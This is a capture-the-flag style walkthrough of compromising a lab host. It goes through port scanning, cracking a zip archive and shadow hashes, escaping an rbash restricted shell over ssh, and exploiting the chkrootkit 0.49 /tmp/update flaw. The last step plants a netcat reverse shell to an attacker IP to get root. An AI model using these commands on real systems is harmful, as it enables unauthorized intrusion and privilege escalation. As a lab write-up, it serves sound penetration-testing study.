1. Host Discovery
This attack targets a specific IP address and does not include the host discovery process. It highlights Open Port vulnerabilities.
2. Port Discovery (Services, Components, Versions)
Using the command sudo -u root nmap 172.16.33.40 -n -Pn -p- --reason -sV -sC -O to obtain the open ports, provided services, used components, and component versions of the host.
|
Open Ports |
Provided Services |
Used Components |
Component Versions |
|---|---|---|---|
|
22/tcp |
ssh |
OpenSSH |
7.9p1 |
|
80/tcp |
http |
Apache httpd |
2.4.38 |
|
– |
os |
Debian Linux |
? |
3. Vulnerability Discovery (Privilege Escalation)
Port 22/SSH Service
Component Vulnerabilities
Using the command searchsploit OpenSSH 7., no Nday vulnerabilities were found for the OpenSSH 7.9p1 component.
Password Vulnerabilities
Using the command hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt 172.16.33.40 ssh, no weak password vulnerabilities were found.
Port 80/HTTP Service
Component Vulnerabilities
Using the command searchsploit Apache httpd 2.4., no Nday vulnerabilities were found for the Apache httpd 2.4.38 component.
Using plugins like Wappalyzer and FindSomething to identify website components yielded no results.
URL Vulnerabilities (Directories, Files)
01. Manual browsing: Accessing the homepage http://172.16.33.30/ revealed the compressed file save.zip.
After downloading, using the command unzip save.zip to extract it, a password was required. Using the command zipinfo save.zip to view files within the compressed package revealed the /etc/shadow file. If access can be granted and the SSH password cracked, SSH service login can be achieved.
Using the commands zip2john save.zip > save.zip.hash and john save.zip.hash cracked the unzip password for save.zip, revealing the password manuel.
Using the command unzip save.zip to extract it, then using the command cat ./etc/shadow to check the SSH user passwords, it was found that users root and 296640a3b825115a47b68fc44501c828 have SSH passwords.
Using the command cat ./etc/passwd | grep -v nologin$ to view SSH users allowed to log in revealed that users root and 296640a3b825115a47b68fc44501c828 are allowed to log in.
Using the command sudo john ./etc/shadow --format=crypt cracked the SSH password within the ./etc/shadow file, obtaining the SSH password server for user 296640a3b825115a47b68fc44501c828.
Using the command ssh [email protected] successfully logged into the SSH service, but the shell was quite restricted with /bin/rbash.
02. Directory Scanning: Using the command dirb http://172.16.33.40/ /usr/share/seclists/Discovery/Web-Content/common.txt -R to traverse the site directory and files resulted in no discoveries.
03. Fuzz Testing: Based on currently known information, there’s no need to perform fuzz testing on the directory and files of the website.
04. Information Gathering: Earlier, website traffic was routed through the Burp Suite proxy in Firefox, but no sensitive information leakage was discovered in Burp Suite.
4. Privilege Escalation
01. sudo
Using the command sudo -l to view the privileged commands of user 296640a3b825115a47b68fc44501c828 revealed no sudo commands.
02. suid
Using the command find / -perm -u=s -ls 2>/dev/null to view privileged programs revealed no find command.
On a normal operating system, these commands wouldn’t be missing, right? Could it be an error with the environment variables? Using the command echo $PATH to view environment variables confirmed that the paths for system commands are indeed missing.
Using the command PATH=/usr/bin:$PATH to add the path for the find command indicated only read permissions, unable to add.
Since relying on environment variables is not feasible, using the command /usr/bin/find / -perm -u=s -ls resulted in an error due to the inclusion of / in the command name, deadlocking this method too.
Let’s navigate to the path where the find command is stored and execute find directly, without including / in the command name. Using the commands cd /usr/bin/ and cd, it was indicated that the cd command couldn’t be used, completely blocking this path.
03. Information Gathering
Using the command ls -la to view files revealed some interesting files, but all were inaccessible.
Using the command scp [email protected]:/home/296640a3b825115a47b68fc44501c828/ ./ to download locally for viewing also ended in failure.
Executing the honeypot.decoy program revealed that option 7 can open the vim editor, where the command :e filename can view files.
After investigation, only the user.txt file contained valid content 35253d886842075b2c6390f35946e41f. This content yielded no results when decoded using CyberChef[2], and CMD5[3] indicated results requiring payment. Thus, it’s suspected to be the md5 value of the root account’s SSH password, or you might say it’s a flag.
04. tty
After online research and checking the man ssh manual, it was found that using the -t "bash --noprofile" parameter with the ssh command can force the allocation of a pseudo-terminal, thereby resolving the command-line limitation issue, such as being able to add environment variables.
Using the command ssh [email protected] -t "bash --noprofile" to forcibly allocate a pseudo-terminal way to log into the SSH service.
Using the command PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:$PATH to add (from kali) environment variables to obtain a normal command-line environment.
05. sudo
Using the command sudo -l to view the privileged commands of user 296640a3b825115a47b68fc44501c828 revealed that this user does not have permission to execute the sudo command.
06. suid
Using the command find / -perm -u=s -ls 2>/dev/null to view privileged programs, GTFOBins[4] did not find commands that could elevate privileges.
07. Information Gathering
Using the command ls -la and cd, the pspy log file was found. pspy is a Linux system process monitoring tool that can record the operation of processes, including the commands used to launch processes, resembling a detailed version of the history command.
In the pspy log file, it was found that the command to decompress the chkrootkit-0.49.tar.gz file was executed, indicating that the system may be using version 0.49 of the chkrootkit program.
The chkrootkit program version 0.49 is noteworthy because it contains a local privilege escalation vulnerability. Using the command searchsploit chkrootkit can query the vulnerability information.
Strangely, no chkrootkit-related files were found in the system. Could it have been used and then deleted, or stored in directories such as /root/ where the current user does not have access permissions?
Recalling the previously discovered honeypot.decoy program, could its AV Scan virus scanning feature have integrated chkrootkit’s backdoor detection capabilities?
Verification Method One: Using the command strings honeypot.decoy to view the strings within the honeypot.decoy program, it shows the underlying capabilities corresponding to the 8 features, for example, the 1 Date feature executes the command /usr/bin/date, the 3 Shutdown feature prints Shutdown is currently not available due to not enough privileges. Ending program., and the 5 Launch an AV Scan feature executes the command /usr/bin/touch /dev/shm/STTY5246 and prints The AV Scan will be launched in a minute or less.
Disappointingly, no code integrating chkrootkit’s backdoor detection capability into the AV Scan virus scanning feature was seen.
Verification Method Two: Using the command for i in $(seq 1 300); do ps -ef | grep -v grep | grep chkrootkit; sleep 1; done; to observe the process operation within 5 minutes.
Meanwhile, in another window, using the command /usr/bin/touch /dev/shm/STTY5246, or using the 5 Launch an AV Scan feature of the honeypot.decoy program, or doing nothing at all, it was found that the root user would execute the command /bin/sh /root/chkrootkit-0.49/chkrootkit to check for backdoors using the chkrootkit program version 0.49.
08. chkrootkit
Since it’s confirmed that the root user will execute version 0.49 of the chkrootkit program, let’s see how to escalate privileges. Using the command searchsploit -m 33899 to copy the previously discovered EXP to the current directory.
Using the command cat 33899.txt to view the EXP revealed that the method to exploit the vulnerability is: 1. Use a non-root user to create an executable program named /tmp/update containing privilege escalation code; 2. Use the root user to run version 0.49 of the chkrootkit program.
First, as a non-root user, namely the current user 296640a3b825115a47b68fc44501c828, execute the commands echo /bin/bash > /tmp/update and chmod +x /tmp/update to create an executable program named /tmp/update containing privilege escalation code.
Second, as the root user, run version 0.49 of the chkrootkit program, or effectively invoke the chkrootkit program version 0.49 running as the root user by using the command /usr/bin/touch /dev/shm/STTY5246, or using the 5 Launch an AV Scan. feature of the program honeypot.decoy, or even doing nothing.
The result was that the root shell was not returned, since it was not the current user 296640a3b825115a47b68fc44501c828 that directly executed chkrootkit, meaning the returned root shell wasn’t granted to user 296640a3b825115a47b68fc44501c828.
Since returning a shell isn’t possible, let’s reverse a shell.
First, using a non-root user, namely the current user 296640a3b825115a47b68fc44501c828, execute the command echo nc -nv 10.8.0.110 4444 -e /bin/bash > /tmp/update to create an executable program named /tmp/update containing privilege escalation code.
Second, as the root user, run version 0.49 of the chkrootkit program, or effectively invoke the chkrootkit program version 0.49 running as the root user by using the command /usr/bin/touch /dev/shm/STTY5246, or using the 5 Launch an AV Scan. feature of the program honeypot.decoy, or even doing nothing.
Meanwhile, using the command nc -nvlp 4444 on a local terminal will obtain the reverse root shell.
Postscript: Previously mentioned that it’s necessary to use the command /usr/bin/touch /dev/shm/STTY5246 or the 5 Launch an AV Scan. feature of the program honeypot.decoy to invoke the root user to run version 0.49 of the chkrootkit program.
However, you will notice that even doing nothing results in the root user executing the command /bin/sh /root/chkrootkit-0.49/chkrootkit. The /dev/shm/STTY5246 file content is also empty, so how exactly is the chkrootkit program executed by the root user?
Under root privilege, using the command ls -l revealed that the root user’s home directory contains the script.sh script. Using the command cat script.sh to view the script content indicated that if the /dev/shm/STTY5246 file exists, the command /root/chkrootkit-0.49/chkrootkit will be executed. Using the command crontab -l to view the cron job, it was found that the root user executes the /root/script.sh script every minute.
Alright, so that’s how it is, a cleverly designed honeypot.decoy program indeed.
